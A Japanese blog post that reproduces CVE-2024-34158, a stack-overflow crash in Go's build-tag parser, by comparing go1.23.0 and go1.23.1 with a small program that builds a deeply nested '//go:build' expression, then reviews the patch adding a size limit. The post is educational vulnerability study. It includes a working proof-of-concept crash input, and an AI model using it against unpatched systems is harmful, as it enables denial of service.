🛡️

Go 1.23.1 で修正された脆弱性 CVE-2024-34158 を再現して学ぶ

2024/12/08に公開

概要

  • ✅️ 修正済みの Go 言語における脆弱性の探し方について述べた
  • ✅️ 例として Go 1.23.1 および Go 1.22.7 で修正済みの脆弱性 CVE-2024-34158 について扱った
    • Go の // +build および //go:build タグの解析処理におけるスタック枯渇の問題
    • この脆弱性の概要,再現方法,修正内容,得られる知見について解説した
  • ✅️ コンパイラのバージョン指定として環境変数 GOTOOLCHAIN を使った

なお,本記事は 脆弱エンジニアの Advent Calendar 2024 Day8 参加記事です,

背景

  • Go の修正された脆弱性を試すことをやってみたかったから
小声

敬愛する アスースン・オンライン さんから,

アドベントカレンダーどうですか??rayfiyoの記事読んでみたい〜!

という DMが突如届いてしまったから.(←言い方
嬉しかったので,「任せろください」と返したものの,記事のネタが思い浮かばす今日に….
前からやりたかった,Go の修正された脆弱性を試す というのを今回やってみた という流れ.

対象読者

  • Go のセキュリティ修正に関心がある人
  • Go の脆弱性修正内容を自分で試してみたいと考える人
  • Go のバージョン間の変更内容を技術的に掘り下げて学びたい人

環境

今回の環境は次である.

脆弱性修正前 脆弱性修正後
go1.23.0 (linux/amd64) go1.23.1 (linux/amd64)

修正済み脆弱性の見つけ方

幾つかあるが,例えば Go の Google Group (メーリングリスト的な)を利用するという方法がある. *1
Google Group であれば,[security] で検索をかけると(マイナーリリースを含め)
脆弱性修正のリリース情報がみつかる.

今回は次を参考にした.
https://groups.google.com/g/golang-announce/c/K-cEzDeCtpc/m/OYKru5vTAQAJ
記事を読んでいると Go issue の URL があるのでクリックすると GitHub の issues に飛べる.

CVE-2024-34158

CVE-2024-34158 は,長過ぎる式または深すぎるネストをもつビルドタグを Parse 関数が解析する際に,スタックが枯渇してパニックを引き起こすという問題である.*2

具体的に

長過ぎる式は,大量の||または&&を含む論理式を指す.
深すぎるネストは,()の過剰な入れ子構造を指す.
例えば,次のようなビルドタグである.
(ここで, ... は1千万回繰り返しなど十分大きい回数を省略している表現)

//go:build a || a || a || ...

または

//go:build (((... ((a && b)) ...)))

検証(成功)

前述の考えを基に,パース処理の挙動を比較するコードを載せる.
特に,深い OR ネストのビルドタグを試した.
繰り返しには strings.Repeat を使った.
パース処理でエラーを受け取るのは想定する動作なので,エラーメッセージは標準出力に渡した.
パニックになった場合は constraint.Parse() が返せないので,エラーで終了(中断)する(と予想した).

また,コンパイラのバージョン指定には Go1.21 以降で使用できる環境変数 GOTOOLCHAIN を使った.

https://speakerdeck.com/yamatoya/go1-dot-21karadao-ru-sareta-go-toolchainnoshi-zu-miwomarututojie-shuo

main.go
package main

import (
	"fmt"
	"go/build/constraint"
	"strings"
)

func main() {
	// ばか深い論理式
	expr := "//go:build " + strings.Repeat("(a || ",   10000000) + "true" + strings.Repeat(")", 10000000)

	// パース処理
	if _, err := constraint.Parse(expr); err != nil {
		fmt.Println(err)
	}
}

脆弱性修正前のバージョンでの実行結果

エラーメッセージが長いので先頭から一部のみ記載する.
私の予想通り,エラーで終了した.

$ GOTOOLCHAIN=go1.23.0 go run main.go
go: downloading go1.23.0 (linux/amd64)
runtime: goroutine stack exceeds 1000000000-byte limit
runtime: sp=0xc026716360 stack=[0xc026716000, 0xc046716000]
fatal error: stack overflow

runtime stack:
runtime.throw({0x4b4ebd?, 0xc000093ec8?})
        /home/user/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.23.0.linux-amd64/src/runtime/panic.go:1067 +0x48 fp=0xc000093e88 sp=0xc000093e58 pc=0x4653c8
runtime.newstack()
        /home/user/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.23.0.linux-amd64/src/runtime/stack.go:1117 +0x5bd fp=0xc000093fc8 sp=0xc000093e88 pc=0x44bf9d
runtime.morestack()
        /home/user/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.23.0.linux-amd64/src/runtime/asm_amd64.s:621 +0x7a fp=0xc000093fd0 sp=0xc000093fc8 pc=0x46a23a

goroutine 1 gp=0xc0000061c0 m=5 mp=0xc003aba008 [running]:
runtime.deductAssistCredit(0x10?)
        /home/user/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.23.0.linux-amd64/src/runtime/malloc.go:1333 +0x70 fp=0xc026716370 sp=0xc026716368 pc=0x40cdd0
runtime.mallocgc(0x10, 0x4a2940, 0x1)

脆弱性修正後のバージョンでの実行結果

私の予想通り,エラーメッセージが標準出力され通常終了した.

$ GOTOOLCHAIN=go1.23.1 go run main.go
go: downloading go1.23.1 (linux/amd64)
build expression too large

検証(失敗)

検証の過程で失敗した(期待するエラーではなかった)コードを載せる.
こちらは,深い OR ネスト ではなく 長大な OR 条件 を試した.

main.go
package main

import (
	"fmt"
	"go/build/constraint"
	"strings"
)

func main() {
	// ばかなが論理式
	expr := "//go:build " + strings.Repeat("a || ", 100000000) + "true"

	// パース処理
	if _, err := constraint.Parse(expr); err != nil {
		fmt.Println(err)
	}
}

脆弱性修正前のバージョンでの実行結果

エラー終了であったものの,stack overflow ではなかった.
これは,runtime での out of memory などの可能性がある.

$ GOTOOLCHAIN=go1.23.0 go run main.go
go: downloading go1.23.0 (linux/amd64)
signal: killed

脆弱性修正後のバージョンでの実行結果

こちらは,私の予想通り,エラーメッセージが標準出力され通常終了した.
しかし,コードの expr の反復回数を 100000000 から 999999999999 などにすると,脆弱性修正前のバージョンと同じエラーで終了signal: killed)となった.

$ GOTOOLCHAIN=go1.23.1 go run main.go
go: downloading go1.23.1 (linux/amd64)
build expression too large

修正されたコードを見てみる

先ほどの GitHub の issue を見ると,1.23.x では Commit 032ac07,1.22.x では Commit d4c5381 が修正だとわかる.
変更は再帰上限(maxSize)の設定である.この定義は19行目~22行目にある,

src/go/build/constraint/expr.go
// maxSize is a limit used to control the complexity of expressions, in order
// to prevent stack exhaustion issues due to recursion.
const maxSize = 1000

コメントを日本語に訳すと,
maxSize は,再帰によるスタック枯渇の問題を防ぐことを目標に,式の複雑さを制御するために使用される制限.

実際に,先ほど試したコードの strings.Repeat() の値を 1000 近辺で試すと build expression too large のエラーになる長さとならない長さの値がわかる.(go1.23.1)
なお,私の環境では go1.23.1 だとギリギリエラーになる長さで go1.23.0 のコンパイルをして実行しても stack overflow にはならなかった.

得られる知見

  • 入力の長さや構造の制限は解析処理における典型的な脆弱性である
    • つまり,セキュリティ対策の基本要件
    • 脆弱性を防ぐには,再現可能なテストケースを十分に用意する
    • ↑これができたらだれも苦労してない

感想

本当はカンムさん*3のように,CTFのような問題まで繋げられたらよかったが,私の能力不足と記事公開までの時間不足が理由で至らなかった.無念.
実際に stack overflow が出た時は少し感動した.
普段はエラーの対処に関する記事を主に書いているのでこういう技術記事は初めて書いた(多分).誘ってくださった アスースン・オンライン さんに感謝.


参考文献

1

2

3

GitHubで編集を提案

Discussion